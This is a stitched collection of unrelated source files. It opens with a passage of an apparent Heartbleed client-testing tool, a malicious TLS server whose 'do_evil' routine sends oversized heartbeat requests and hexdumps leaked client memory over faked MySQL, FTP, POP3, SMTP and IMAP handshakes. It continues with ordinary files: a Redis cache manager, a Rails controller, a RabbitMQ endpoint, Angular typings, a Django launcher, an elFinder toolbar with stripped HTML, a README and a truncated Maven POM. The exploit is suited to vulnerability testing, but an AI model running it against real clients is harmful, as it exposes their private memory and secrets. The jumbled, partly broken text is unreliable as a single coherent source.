        self.buffer += data
        self.buffer_len += len(data)

    def get_header(self):
        if self.record_hdr is None and self.buffer_len >= self.record_s.size:
            self.record_hdr = self.record_s.unpack_from(bytes(self.buffer))
        return self.record_hdr

    def bytes_needed(self):
        '''Zero or lower indicates that a fragment is available'''
        expected_len = self.record_s.size
        if self.get_header():
            expected_len += self.record_hdr[2]
        return expected_len - self.buffer_len

    def get_record(self, partial=False):
        if not self.get_header():
            return None

        record_type, sslver, fragment_len = self.record_hdr
        record_len = self.record_s.size + fragment_len

        if not partial and self.buffer_len < record_len:
            return None

        fragment = self.buffer[self.record_s.size:record_len]

        del self.buffer[:record_len]
        self.buffer_len -= record_len
        self.record_hdr = None

        return record_type, sslver, bytes(fragment)

def read_record(sock, timeout, partial=False):
    rparser = RecordParser()
    end_time = time.time() + timeout
    error = None

    bytes_to_read = rparser.bytes_needed()
    while bytes_to_read > 0 and timeout > 0:
        rl, _, _ = select.select([sock], [], [], timeout)

        if not rl:
            error = socket.timeout('Timeout while waiting for bytes')
            break

        try:
            rparser.feed(rl[0].recv(bytes_to_read))
        except socket.error as e:
            error = e
            break # Connection reset?

        bytes_to_read = rparser.bytes_needed()
        timeout = end_time - time.time()

    return rparser.get_record(partial=partial), error

def read_hb_response(sock, timeout):
    end_time = time.time() + timeout
    memory = bytearray()
    hb_len = 1      # Will be initialized after first heartbeat
    read_error = None
    alert = None

    while len(memory) < hb_len and timeout > 0:
        record, read_error = read_record(sock, timeout, partial=True)
        if not record:
            break

        record_type, _, fragment = record
        if record_type == 24:
            if not memory: # First Heartbeat
                # Check for enough room for type + len
                if len(fragment) < 3:
                    if read_error: # Ignore error due to partial read
                        break
                    raise Failure('Response too small')
                # Sanity check, should not happen with OpenSSL
                if fragment[0:1] != b'\2':
                    raise Failure('Expected Heartbeat in first response')

                hb_len, = struct.unpack_from(b'!H', fragment, 1)
                memory += fragment[3:]
            else: # Heartbeat continuation
                memory += fragment
        elif record_type == 21 and len(fragment) == 2: # Alert
            alert = fragment
            break
        else:
            # Cannot tell whether vulnerable or not!
            raise Failure('Unexpected record type {0}'.format(record_type))

        timeout = end_time - time.time()

    # Drop heartbeat padding that is included in buffer
    if len(memory) - 16 == hb_len:
        del memory[hb_len:]

    # Check for Alert (sent by NSS)
    if alert:
        lvl, desc = alert[0:1], ord(alert[1:2])
        lvl = 'Warning' if lvl == 1 else 'Fatal'
        print('Got Alert, level={0}, description={1}'.format(lvl, desc))
        if not memory:
            print('Not vulnerable! (Heartbeats disabled or not OpenSSL)')
            return None

    # Do not print error if we have memory, server could be crashed, etc.
    if read_error and not memory:
        print('Did not receive heartbeat response! ' + str(read_error))

    return memory

class RequestHandler(socketserver.BaseRequestHandler):
    def handle(self):
        self.args = self.server.args
        self.sslver = '03 01' # default to TLSv1.0
        remote_addr, remote_port = self.request.getpeername()[:2]
        print("Connection from: {0}:{1}".format(remote_addr, remote_port))

        try:
            # Set timeout to prevent hang on clients that send nothing
            self.request.settimeout(2)
            prep_meth = 'prepare_' + self.args.client
            if hasattr(self, prep_meth):
                getattr(self, prep_meth)(self.request)
                print('Pre-TLS stage completed, continuing with handshake')

            if not self.args.skip_server:
                self.do_serverhello()

            for i in range(0, self.args.count):
                try:
                    if not self.do_evil():
                        break
                except socket.error as e:
                    if i == 0: # First heartbeat?
                        print('Unable to send first heartbeat! ' + str(e))
                    else:
                        print('Unable to send more heartbeats, ' + str(e))
                    break
        except (Failure, socket.error, socket.timeout) as e:
            print('Unable to check for vulnerability: ' + str(e))
        except KeyboardInterrupt:
            # Don't just abort this client, stop the server too
            print('Shutting down...')
            self.server.kill()

        print('')

    def do_serverhello(self):
        # Read TLS record header
        content_type, ver, rec_len = self.recv_s(b'>BHH', 'TLS record')
        # Session-ID length (1 byte) starts at offset 38
        self.expect(rec_len >= 39, 'Illegal handshake packet')
        if content_type == 0x80: # SSLv2 (assume length < 256)
            raise Failure('SSL 2.0 clients cannot be tested')
        else:
            self.expect(content_type == 22, 'Expected Handshake type')

        # Read handshake
        hnd = self.request.recv(rec_len)
        self.expect(len(hnd) == rec_len, 'Unable to read handshake')
        hnd_type, len_high, len_low, ver = struct.unpack(b'>BBHH', hnd[:6])
        self.expect(hnd_type == 1, 'Expected Client Hello')
        # hnd[6:6+32] is Random
        off = 6 + 32
        sid_len, = struct.unpack(b'B', hnd[off:off+1])
        off += 1 + sid_len # Skip length and SID
        # Enough room for ciphers?
        self.expect(rec_len - off >= 4, 'Illegal handshake packet (2)')
        ciphers_len = struct.unpack(b'<H', hnd[off:off+2])
        off += 2
        # The first cipher is fine...
        cipher = bytearray(hnd[off:off+2])

        self.sslver = '{0:02x} {1:02x}'.format(ver >> 8, ver & 0xFF)

        # (1) Handshake: ServerHello
        self.request.sendall(make_hello(self.sslver, cipher))

        # (skip Certificate, etc.)

    def do_evil(self):
        '''Returns True if memory *may* be acquired'''
        # (2) HeartbeatRequest
        self.request.sendall(make_heartbeat(self.sslver, self.args.payload_len))

        # (3) Buggy OpenSSL will throw 0xffff bytes, fixed ones stay silent
        memory = read_hb_response(self.request, self.args.timeout)

        # If memory is None, then it is not vulnerable for sure. Otherwise, if
        # empty, then it *may* be invulnerable
        if memory is not None and not memory:
            print("Possibly not vulnerable")
            return False
        elif memory:
            print('Client returned {0} ({0:#x}) bytes'.format(len(memory)))
            hexdump(memory)

        return True

    def expect(self, cond, what):
        if not cond:
            raise Failure(what)

    def prepare_mysql(self, sock):
        # This was taken from a MariaDB client. For reference, see
        # https://dev.mysql.com/doc/internals/en/connection-phase-packets.html#packet-Protocol::Handshake
        greeting = u'''
        56 00 00 00 0a 35 2e 35  2e 33 36 2d 4d 61 72 69
        61 44 42 2d 6c 6f 67 00  04 00 00 00 3d 3b 4e 57
        4c 54 44 35 00 ff ff 21  02 00 0f e0 15 00 00 00
        00 00 00 00 00 00 00 7c  36 33 3f 23 2e 5e 6d 2d
        34 5c 54 00 6d 79 73 71  6c 5f 6e 61 74 69 76 65
        5f 70 61 73 73 77 6f 72  64 00
        '''
        sock.sendall(bytearray.fromhex(greeting.replace('\n', '')))
        print("Server Greeting sent.")

        len_low, len_high, seqid, caps = self.recv_s(b'<BHBH', 'MySQL handshake')
        packet_len = (len_high << 8) | len_low
        self.expect(packet_len == 32, 'Expected SSLRequest length == 32')
        self.expect((caps & 0x800), 'Missing Client SSL support')

        print("Skipping {0} packet bytes...".format(packet_len))
        # Skip remainder (minus 2 for caps) to prepare for SSL handshake
        sock.recv(packet_len - 2)

    def prepare_ftp(self, sock):
        sock.sendall('220 pacemaker test\r\n'.encode('ascii'))
        data = sock.recv(16).decode('ascii').strip()
        self.expect(data in ('AUTH SSL', 'AUTH TLS'), \
            'Unexpected response: ' + data)
        sock.sendall(bytearray('234 ' + data + '\r\n', 'ascii'))

    def prepare_pop3(self, sock):
        self.do_conversation('+OK pacemaker ready\r\n', [
            ('CAPA', '+OK\r\nSTLS\r\n.\r\n'),
            ('STLS', '+OK\r\n')
        ])

    def prepare_smtp(self, sock):
        self.do_conversation('220 pacemaker test\r\n', [
            ('EHLO ',    '250-example.com Hi!\r\n250 STARTTLS\r\n'),
            ('STARTTLS', '220 Go ahead\r\n')
        ])

    def prepare_imap(self, sock):
        caps = 'CAPABILITY IMAP4rev1 STARTTLS'
        talk = [
            ('CAPABILITY', '* ' + caps + '\r\n'),
            ('STARTTLS', '')
        ]
        sock.sendall(('* OK [' + caps + '] ready\r\n').encode('ascii'))

        for exp, resp in talk:
            data = sock.recv(256).decode('ascii').upper()
            self.expect(' ' in data, 'IMAP protocol violation, got ' + data)
            tag, data = data.split(' ', 2)
            self.expect(data[:len(exp)] == exp, \
                'Expected ' + exp + ', got ' + data)
            resp += tag + ' OK\r\n'
            sock.sendall(resp.encode('ascii'))

    def do_conversation(self, greeting, talk):
        '''Helper to handle simple request-response protocols.'''
        self.request.sendall(greeting.encode('ascii'))

        for exp, resp in talk:
            data = self.request.recv(256).decode('ascii').upper()
            self.expect(data[:len(exp)] == exp, \
                'Expected ' + exp + ', got ' + data)
            self.request.sendall(resp.encode('ascii'))

    def recv_s(self, struct_def, what):
        s = struct.Struct(struct_def)
        data = self.request.recv(s.size)
        msg = '{0}: received only {1}/{2} bytes'.format(what, len(data), s.size)
        self.expect(len(data) == s.size, msg)
        return s.unpack(data)

class PacemakerServer(socketserver.TCPServer):
    def __init__(self, args):
        server_address = (args.listen, args.port)
        self.allow_reuse_address = True
        if args.ipv6 or ':' in args.listen:
            self.address_family = socket.AF_INET6
        socketserver.TCPServer.__init__(self, server_address, RequestHandler)
        self.args = args

    def serve_forever(self):
        self.stopped = False
        while not self.stopped:
            self.handle_request()

    def kill(self):
        self.stopped = True

def serve(args):
    print('Listening on {0}:{1} for {2} clients'
        .format(args.listen, args.port, args.client))
    server = PacemakerServer(args)
    server.serve_forever()

if __name__ == '__main__':
    args = parser.parse_args()
    try:
        serve(args)
    except KeyboardInterrupt:
        pass


text:
import json
import logging
import logging.config
logging.config.fileConfig("logging.conf")

class CacheManager():
    """
    Class that interact with Driver
    """
    _LOGGER = logging.getLogger('CACHE_MANAGER')

    def __init__(self):
        resource = "storage.RedisDriver"
        resource_mod = __import__(resource, globals(), locals(), ['RedisDriver'])
        cache = getattr(resource_mod, 'RedisDriver')
        self.cache = cache()

    def set_league(self, field, value):
        self._LOGGER.debug("set league "+field + " on the cache from api")
        self.cache.set_value('league', field, json.dumps(value))

    def get_league(self, field):
        self._LOGGER.debug("get league "+field + " from the cache")
        league = self.cache.get_value('league', field)
        if league:
            return json.loads(league.decode('utf-8'))
        return None

    def set_league_id(self, field, value):
        self._LOGGER.debug("table for reference " + field + " and " + str(value))
        self.cache.set_value("league-id", field, json.dumps(value))

    def get_league_id(self, field):
        self._LOGGER.debug("get id from league name " + field)
        league_id = self.cache.get_value('league-id', field)
        if league_id:
            return str(json.loads(league_id.decode('utf-8')))
        return None

    def set_team(self, field, value):
        self._LOGGER.debug("set team " + field + " on the cache from api")
        self.cache.set_value('team', field, json.dumps(value))

    def get_team(self, field):
        self._LOGGER.debug("get team " + field + " from the cache")
        team = self.cache.get_value('team', field)
        if team:
            return json.loads(team.decode('utf-8'))
        return None

    def set_team_id(self, field, value):
        self._LOGGER.debug("table for reference " + field + " and " + str(value))
        self.cache.set_value("team-id", field, json.dumps(value))

    def get_team_id(self, field):
        self._LOGGER.debug("get id from team name " + field)
        team_id = self.cache.get_value('team-id', field)
        if team_id:
            return str(json.loads(team_id.decode('utf-8')))
        return None

    def set_team_id_leagues(self, field, value):
        self._LOGGER.debug("set list of team ids for " + field + " on the cache from api")
        self.cache.set_value('league-team-ids', field, json.dumps(value))

    def get_team_id_leagues(self, field):
        self._LOGGER.debug("get list of team ids for " + field + " from the cache")
        list_teams_id = self.cache.get_value('league-team-id', field)
        if list_teams_id:
            return json.loads(list_teams_id.decode('utf-8'))
        return None

    def get_all_team_ids(self, value):
        self._LOGGER.debug("get all list of " + value + " from the cache")
        return self.cache.get_all(value)

    def set_team_leagues(self, field, value):
        self._LOGGER.debug("set list of teams for " + field + " on the cache from api")
        self.cache.set_value('league-teams', field, json.dumps(value))

    def get_team_leagues(self, field):
        self._LOGGER.debug("get list of teams for " + field + " from the cache")
        list_teams = self.cache.get_value('league-teams', field)
        if list_teams:
            return json.loads(list_teams.decode('utf-8'))
        return None

    def set_standing(self, field, value):
        self._LOGGER.debug("set standing " + field + " on cache")
        self.cache.set_value("standing-id", field, json.dumps(value))

    def get_standing(self, field):
        self._LOGGER.debug("get stading from id league " + field + " on the cache")
        standing_id = self.cache.get_value('standing-id', field)
        if standing_id:
            return json.loads(standing_id.decode('utf-8'))
        return None


text:
class Admin::VotesController < Admin::AdminController

  active_scaffold :votes do |config|
    config.label = "Votes"
  end

end


text:
const EventEmitter = require('eventemitter3')
const opentracing = require('opentracing')
const parseEvent = require('../utils/parseEvent')
const waterfall = require('../utils/asyncWaterfall')
const serializeData = require('../utils/serializeData')
const handlerWrapper = require('../utils/handlerWrapper')
const throwAsException = require('../utils/throwAsException')

class Endpoint {
  constructor (remit, opts, ...handlers) {
    this._remit = remit
    this._emitter = new EventEmitter()

    let parsedOpts = {}

    if (typeof opts === 'string') {
      parsedOpts.event = opts
    } else {
      parsedOpts = opts || {}
    }

    if (!parsedOpts.event) {
      throw new Error('No/invalid event specified when creating an endpoint')
    }

    this.options(parsedOpts)

    if (handlers.length) {
      this.handler(...handlers)
    }
  }

  handler (...fns) {
    if (!fns.length) {
      throw new Error('No handler(s) given when trying to set endpoint handler(s)')
    }

    this._handler = waterfall(...fns.map(handlerWrapper))

    return this
  }

  on (...args) {
    // should we warn/block users when they try
    // to listen to an event that doesn't exist?
    this._emitter.on(...args)

    return this
  }

  options (opts = {}) {
    opts.queue = opts.queue || opts.event || this._options.queue || this._options.event
    this._options = Object.assign({}, this._options || {}, opts)

    return this
  }

  // TODO should we emit something once booted?
  start () {
    if (this._started) {
      return this._started
    }

    if (!this._handler) {
      throw new Error('Trying to boot endpoint with no handler')
    }

    this._started = this._setup(this._options)

    return this._started
  }

  pause (cold) {
    if (!this._started) {
      return Promise.resolve(this)
    }

    if (this._paused) {
      if (this._resuming) {
        console.warn('Tried to pause endpoint whilst busy resuming')
      }

      return this._paused
    }

    this._paused = new Promise((resolve, reject) => {
      const ops = [this._consumer.cancel(this._consumerTag)]

      if (cold) {
        // cold pause requsted, so let's push all messages
        // back in to the queue rather than handling them
        this._cold = true
        ops.push(this._consumer.recover())
      }

      return Promise.all(ops)
        .then(() => resolve(this))
        .catch(reject)
    })

    return this._paused
  }

  resume () {
    if (this._resuming) return this._resuming
    if (!this._started) return this.start()
    if (!this._starting && !this._paused) return Promise.resolve(this)

    this._resuming = new Promise(async (resolve, reject) => {
      let consumeResult

      try {
        consumeResult = await this._consumer.consume(
          this._options.queue,
          this._remit._namespace.bind(this._incoming.bind(this)),
          {
            noAck: true,
            exclusive: false
          }
        )
      } catch (e) {
        delete this._resuming

        return reject(e)
      }

      this._consumerTag = consumeResult.consumerTag
      delete this._resuming
      delete this._paused
      delete this._cold

      return resolve(this)
    })

    return this._resuming
  }

  async _incoming (message) {
    if (!message) {
      await throwAsException(new Error('Consumer cancelled unexpectedly; this was most probably done via RabbitMQ\'s management panel'))
    }

    try {
      var data = JSON.parse(message.content.toString())
    } catch (e) {
      // if this fails, there's no need to nack,
      // so just ignore it
      return
    }

    const parentContext = this._remit._tracer.extract(opentracing.FORMAT_TEXT_MAP, (message.properties.headers && message.properties.headers.context) || {}) || null

    const span = this._remit._tracer.startSpan(`Remit Endpoint: ${this._options.event}`, {
      tags: {
        'remit.version': this._remit.version,
        [opentracing.Tags.SAMPLING_PRIORITY]: 1,
        [opentracing.Tags.COMPONENT]: 'remit',
        [opentracing.Tags.MESSAGE_BUS_DESTINATION]: this._options.event,
        [opentracing.Tags.SPAN_KIND]: opentracing.Tags.SPAN_KIND_RPC_SERVER,
        'data.incoming': data
      },
      childOf: parentContext
    })

    this._remit._namespace.set('context', span.context())

    const event = parseEvent(message.properties, message.fields, data, {
      isReceiver: true
    })

    const resultOp = this._handler(event)

    try {
      this._emitter.emit('data', event)
    } catch (e) {
      console.error(e)
    }

    const canReply = Boolean(message.properties.replyTo)

    let finalData = await resultOp
    const [ resErr, resData ] = finalData

    if (resErr) {
      span.setTag(opentracing.Tags.ERROR, true)
      span.setTag('data.outgoing', resErr)
    } else {
      span.setTag('data.outgoing', resData)
    }

    span.finish()

    // if a cold pause has been requested, don't process this
    if (this._cold) return

    if (canReply) {
      finalData = serializeData(finalData)

      const worker = await this
        ._remit
        ._workers
        .acquire()

      try {
        await worker.sendToQueue(
          message.properties.replyTo,
          Buffer.from(finalData),
          message.properties
        )

        this._remit._workers.release(worker)

        const event = parseEvent(message.properties, {
          routingKey: this._options.event
        }, finalData)

        this._emitter.emit('sent', event)
      } catch (e) {
        this._remit._workers.destroy(worker)
      }
    }
  }

  async _setup ({ queue, event, prefetch = 48 }) {
    this._starting = true

    try {
      const worker = await this._remit._workers.acquire()

      try {
        await worker.assertQueue(queue, {
          exclusive: false,
          durable: true,
          autoDelete: false,
          maxPriority: 10
        })

        this._remit._workers.release(worker)
      } catch (e) {
        delete this._starting
        this._remit._workers.destroy(worker)
        throw e
      }

      const connection = await this._remit._connection
      this._consumer = await connection.createChannel()
      this._consumer.on('error', console.error)
      this._consumer.on('close', () => {
        throwAsException(new Error('Consumer died - this is most likely due to the RabbitMQ connection dying'))
      })

      if (prefetch > 0) {
        this._consumer.prefetch(prefetch, true)
      }

      await this._consumer.bindQueue(
        queue,
        this._remit._exchange,
        event
      )

      await this.resume()
      delete this._starting

      return this
    } catch (e) {
      delete this._starting
      await throwAsException(e)
    }
  }
}

module.exports = Endpoint


text:
import { ChangeDetectorRef, ElementRef, OnDestroy, OnInit, ViewContainerRef } from '@angular/core';
import { MimeDomHelper } from '../../core/mime-dom-helper';
import { HelpDialogService } from '../../help-dialog/help-dialog.service';
import { ViewDialogService } from '../../view-dialog/view-dialog.service';
import { ContentSearchDialogService } from './../../content-search-dialog/content-search-dialog.service';
import { ContentsDialogService } from './../../contents-dialog/contents-dialog.service';
import { FullscreenService } from './../../core/fullscreen-service/fullscreen.service';
import { IiifManifestService } from './../../core/iiif-manifest-service/iiif-manifest-service';
import { MimeViewerIntl } from './../../core/intl';
import { Manifest } from './../../core/models/manifest';
import * as i0 from "@angular/core";
export declare class ViewerHeaderComponent implements OnInit, OnDestroy {
    intl: MimeViewerIntl;
    private changeDetectorRef;
    private contentsDialogService;
    private contentSearchDialogService;
    private viewDialogService;
    private helpDialogService;
    private iiifManifestService;
    private fullscreenService;
    private mimeDomHelper;
    mimeHeaderBefore: ViewContainerRef;
    mimeHeaderAfter: ViewContainerRef;
    viewMenu: ElementRef;
    manifest: Manifest | null;
    state: string;
    isContentSearchEnabled: boolean;
    isFullscreenEnabled: boolean;
    isInFullscreen: boolean;
    fullscreenLabel: string;
    isPagedManifest: boolean;
    hasRecognizedTextContent: boolean;
    private subscriptions;
    constructor(intl: MimeViewerIntl, changeDetectorRef: ChangeDetectorRef, contentsDialogService: ContentsDialogService, contentSearchDialogService: ContentSearchDialogService, viewDialogService: ViewDialogService, helpDialogService: HelpDialogService, iiifManifestService: IiifManifestService, fullscreenService: FullscreenService, mimeDomHelper: MimeDomHelper, el: ElementRef);
    get headerState(): string;
    ngOnInit(): void;
    ngOnDestroy(): void;
    toggleView(): void;
    toggleContents(): void;
    toggleSearch(): void;
    toggleHelp(): void;
    toggleFullscreen(): void;
    isInFullScreen(): boolean;
    static ɵfac: i0.ɵɵFactoryDeclaration<ViewerHeaderComponent, never>;
    static ɵcmp: i0.ɵɵComponentDeclaration<ViewerHeaderComponent, "mime-viewer-header", never, {}, {}, never, never>;
}


text:
import os, sys

# Adds the fabric_bolt package from the working copy instead of site_packages
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))

if __name__ == '__main__':
    os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'fabric_bolt.core.settings.local')
    sys.path.append(os.getcwd())

    from django.core.management import execute_from_command_line
    execute_from_command_line(sys.argv)

    from django.conf import settings

    if settings.TASK_RUNNER_BACKEND == 'fabric_bolt.task_runners.socketio.SocketIOBackend':
        from gevent import monkey
        monkey.patch_all()


text:
/**
 * @class  elFinder toolbar
 *
 * @author Dmitry (dio) Levashov
 **/
$.fn.elfindertoolbar = function(fm, opts) {
	"use strict";
	this.not('.elfinder-toolbar').each(function() {
		var commands = fm._commands,
			self     = $(this).addClass('ui-helper-clearfix ui-widget-header elfinder-toolbar'),
			options  = {
				// default options
				displayTextLabel: false,
				labelExcludeUA: ['Mobile'],
				autoHideUA: ['Mobile'],
				showPreferenceButton: 'none'
			},
			filter   = function(opts) {
				return $.grep(opts, function(v) {
					if ($.isPlainObject(v)) {
						options = Object.assign(options, v);
						return false;
					}
					return true;
				});
			},
			render = function(disabled){
				var name,cmdPref;

				$.each(buttons, function(i, b) { b.detach(); });
				self.empty();
				l = panels.length;
				while (l--) {
					if (panels[l]) {
						panel = $('

');
						i = panels[l].length;
						while (i--) {
							name = panels[l][i];
							if ((!disabled || !disabled[name]) && (cmd = commands[name])) {
								button = 'elfinder'+cmd.options.ui;
								if (! buttons[name] && $.fn[button]) {
									buttons[name] = $('

')[button](cmd);
								}
								if (buttons[name]) {
									buttons[name].children('.elfinder-button-text')[textLabel? 'show' : 'hide']();
									panel.prepend(buttons[name]);
								}
							}
						}

						panel.children().length && self.prepend(panel);
						panel.children(':gt(0)').before('');

					}
				}

				if (cmdPref = commands['preference']) {
					//cmdPref.state = !self.children().length? 0 : -1;
					if (options.showPreferenceButton === 'always' || (!self.children().length && options.showPreferenceButton === 'auto')) {
						//cmdPref.state = 0;
						panel = $('

');
						name = 'preference';
						button = 'elfinder'+cmd.options.ui;
						buttons[name] = $('

')[button](cmdPref);
						buttons[name].children('.elfinder-button-text')[textLabel? 'show' : 'hide']();
						panel.prepend(buttons[name]);
						self.append(panel);
					}
				}

				(! self.data('swipeClose') && self.children().length)? self.show() : self.hide();
				prevHeight = self[0].clientHeight;
				fm.trigger('toolbarload').trigger('uiresize');
			},
			buttons = {},
			panels   = filter(opts || []),
			dispre   = null,
			uiCmdMapPrev = '',
			prevHeight = 0,
			contextRaw = [],
			l, i, cmd, panel, button, swipeHandle, autoHide, textLabel, resizeTm;

		// normalize options
		options.showPreferenceButton = options.showPreferenceButton.toLowerCase();

		if (options.displayTextLabel !== 'none') {
			// correction of options.displayTextLabel
			textLabel = fm.storage('toolbarTextLabel');
			if (textLabel === null) {
				textLabel = (options.displayTextLabel && (! options.labelExcludeUA || ! options.labelExcludeUA.length || ! $.grep(options.labelExcludeUA, function(v){ return fm.UA[v]? true : false; }).length));
			} else {
				textLabel = (textLabel == 1);
			}
			contextRaw.push({
				label    : fm.i18n('textLabel'),
				icon     : 'text',
				callback : function() {
					textLabel = ! textLabel;
					self.css('height', '').find('.elfinder-button-text')[textLabel? 'show':'hide']();
					fm.trigger('uiresize').storage('toolbarTextLabel', textLabel? '1' : '0');
				},
			});
		}

		if (options.preferenceInContextmenu && commands['preference']) {
			contextRaw.push({
				label    : fm.i18n('toolbarPref'),
				icon     : 'preference',
				callback : function() {
					fm.exec('preference', void(0), {tab: 'toolbar'});
				}
			});
		}

		// add contextmenu
		if (contextRaw.length) {
			self.on('contextmenu', function(e) {
					e.stopPropagation();
					e.preventDefault();
					fm.trigger('contextmenu', {
						raw: contextRaw,
						x: e.pageX,
						y: e.pageY
					});
				}).on('touchstart', function(e) {
					if (e.originalEvent.touches.length > 1) {
						return;
					}
					self.data('tmlongtap') && clearTimeout(self.data('tmlongtap'));
					self.removeData('longtap')
						.data('longtap', {x: e.originalEvent.touches[0].pageX, y: e.originalEvent.touches[0].pageY})
						.data('tmlongtap', setTimeout(function() {
							self.removeData('longtapTm')
								.trigger({
									type: 'contextmenu',
									pageX: self.data('longtap').x,
									pageY: self.data('longtap').y
								})
								.data('longtap', {longtap: true});
						}, 500));
				}).on('touchmove touchend', function(e) {
					if (self.data('tmlongtap')) {
						if (e.type === 'touchend' ||
								( Math.abs(self.data('longtap').x - e.originalEvent.touches[0].pageX)
								+ Math.abs(self.data('longtap').y - e.originalEvent.touches[0].pageY)) > 4)
						clearTimeout(self.data('tmlongtap'));
						self.removeData('longtapTm');
					}
				}).on('click', function(e) {
					if (self.data('longtap') && self.data('longtap').longtap) {
						e.stopImmediatePropagation();
						e.preventDefault();
					}
				}).on('touchend click', '.elfinder-button', function(e) {
					if (self.data('longtap') && self.data('longtap').longtap) {
						e.stopImmediatePropagation();
						e.preventDefault();
					}
				}
			);
		}

		self.prev().length && self.parent().prepend(this);

		render();

		fm.bind('open sync select toolbarpref', function() {
			var disabled = Object.assign({}, fm.option('disabledFlip')),
				userHides = fm.storage('toolbarhides'),
				doRender, sel, disabledKeys;

			if (! userHides && Array.isArray(options.defaultHides)) {
				userHides = {};
				$.each(options.defaultHides, function() {
					userHides[this] = true;
				});
				fm.storage('toolbarhides', userHides);
			}
			if (this.type === 'select') {
				if (fm.searchStatus.state < 2) {
					return;
				}
				sel = fm.selected();
				if (sel.length) {
					disabled = fm.getDisabledCmds(sel, true);
				}
			}

			$.each(userHides, function(n) {
				if (!disabled[n]) {
					disabled[n] = true;
				}
			});

			if (Object.keys(fm.commandMap).length) {
				$.each(fm.commandMap, function(from, to){
					if (to === 'hidden') {
						disabled[from] = true;
					}
				});
			}

			disabledKeys = Object.keys(disabled);
			if (!dispre || dispre.toString() !== disabledKeys.sort().toString()) {
				render(disabledKeys.length? disabled : null);
				doRender = true;
			}
			dispre = disabledKeys.sort();

			if (doRender || uiCmdMapPrev !== JSON.stringify(fm.commandMap)) {
				uiCmdMapPrev = JSON.stringify(fm.commandMap);
				if (! doRender) {
					// reset toolbar
					$.each($('div.elfinder-button'), function(){
						var origin = $(this).data('origin');
						if (origin) {
							$(this).after(origin).detach();
						}
					});
				}
				if (Object.keys(fm.commandMap).length) {
					$.each(fm.commandMap, function(from, to){
						var cmd = fm._commands[to],
							button = cmd? 'elfinder'+cmd.options.ui : null,
							btn;
						if (button && $.fn[button]) {
							btn = buttons[from];
							if (btn) {
								if (! buttons[to] && $.fn[button]) {
									buttons[to] = $('

')[button](cmd);
									if (buttons[to]) {
										buttons[to].children('.elfinder-button-text')[textLabel? 'show' : 'hide']();
										if (cmd.extendsCmd) {
											buttons[to].children('span.elfinder-button-icon').addClass('elfinder-button-icon-' + cmd.extendsCmd);
										}
									}
								}
								if (buttons[to]) {
									btn.after(buttons[to]);
									buttons[to].data('origin', btn.detach());
								}
							}
						}
					});
				}
			}
		}).bind('resize', function(e) {
			resizeTm && cancelAnimationFrame(resizeTm);
			resizeTm = requestAnimationFrame(function() {
				var h = self[0].clientHeight;
				if (prevHeight !== h) {
					prevHeight = h;
					fm.trigger('uiresize');
				}
			});
		});

		if (fm.UA.Touch) {
			autoHide = fm.storage('autoHide') || {};
			if (typeof autoHide.toolbar === 'undefined') {
				autoHide.toolbar = (options.autoHideUA && options.autoHideUA.length > 0 && $.grep(options.autoHideUA, function(v){ return fm.UA[v]? true : false; }).length);
				fm.storage('autoHide', autoHide);
			}

			if (autoHide.toolbar) {
				fm.one('init', function() {
					fm.uiAutoHide.push(function(){ self.stop(true, true).trigger('toggle', { duration: 500, init: true }); });
				});
			}

			fm.bind('load', function() {
				swipeHandle = $('

').hide().appendTo(fm.getUI());
				if (swipeHandle.css('pointer-events') !== 'none') {
					swipeHandle.remove();
					swipeHandle = null;
				}
			});

			self.on('toggle', function(e, data) {
				var wz    = fm.getUI('workzone'),
					toshow= self.is(':hidden'),
					wzh   = wz.height(),
					h     = self.height(),
					tbh   = self.outerHeight(true),
					delta = tbh - h,
					opt   = Object.assign({
						step: function(now) {
							wz.height(wzh + (toshow? (now + delta) * -1 : h - now));
							fm.trigger('resize');
						},
						always: function() {
							requestAnimationFrame(function() {
								self.css('height', '');
								fm.trigger('uiresize');
								if (swipeHandle) {
									if (toshow) {
										swipeHandle.stop(true, true).hide();
									} else {
										swipeHandle.height(data.handleH? data.handleH : '');
										fm.resources.blink(swipeHandle, 'slowonce');
									}
								}
								toshow && self.scrollTop('0px');
								data.init && fm.trigger('uiautohide');
							});
						}
					}, data);
				self.data('swipeClose', ! toshow).stop(true, true).animate({height : 'toggle'}, opt);
				autoHide.toolbar = !toshow;
				fm.storage('autoHide', Object.assign(fm.storage('autoHide'), {toolbar: autoHide.toolbar}));
			}).on('touchstart', function(e) {
				if (self.scrollBottom() > 5) {
					e.originalEvent._preventSwipeY = true;
				}
			});
		}
	});

	return this;
};


text:
This is a fork of react-forms 0.6.x compatible with React 0.12.x. There are no API changes.

You can read the docs for this particular version [here][docs].

---

React Forms library provides a set of tools for [React][] to handle form
rendering and validation.

It provides a **schema language** to define form structure and
validation and a set of **form components** to render schemas into UI.

Data flow between React Forms components provides strong **immutability**
guarantees. Form state accessible from a single location and can be snapshoted
with almost no overhead.

Almost every aspect of React Forms is designed to be **extendable**. It is easy
to customize the behaviour of the existing components or create completely new
ones.

See [documentation][docs] for more information on how to use React Forms.

## Credits

React Forms is free software created by [Prometheus Research, LLC][] and is
released under the MIT license.

[React]: http://facebook.github.io/react/
[Prometheus Research, LLC]: http://prometheusresearch.com
[docs]: http://agworld.github.io/react-forms/


text:
<?xml version="1.0" encoding="UTF-8"?>
<project
    xmlns="http://maven.apache.org/POM/4.0.0"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
                        http://maven.apache.org/xsd/maven-4.0.0.xsd"
>
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.cavebeetle.blueprint</groupId>
    <artifactId>blueprint-maven-plugin</artifactId>
    <version>1.0-SNAPSHOT</version>
    <packaging>maven-plugin</packaging>

    <name>Blueprint Maven Plugin</name>

    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <maven.compiler.source>1.7</maven.compiler.source>
        <maven.compiler.target>1.6</maven.compiler.target>
    </properties>

    <dependencies>

        <!-- Scope 'compile' -->
        <dependency>
            <groupId>com.google.guava</groupId>
            <artifactId>guava</artifactId>
            <version>18.0</version>
        </dependency>

        <dependency>
            <groupId>com.squareup</groupId>
            <artifactId>javapoet</artifactId>
            <version>1.5.1</version>
        </dependency>

        <dependency>
            <groupId>org.apache.maven</groupId>
            <artifactId>maven-plugin-api</artifactId>
            <version>2.0</version>
        </dependency>

        <dependency>
            <groupId>org.apache.maven.plugin-tools</groupId>
            <artifactId>maven-plugin-annotations</artifactId>
            <version>3.2</version>
            <scope>provided</scope>
        </dependency>

        <dependency>
            <groupId>org.cavebeetle.blueprint</groupId>
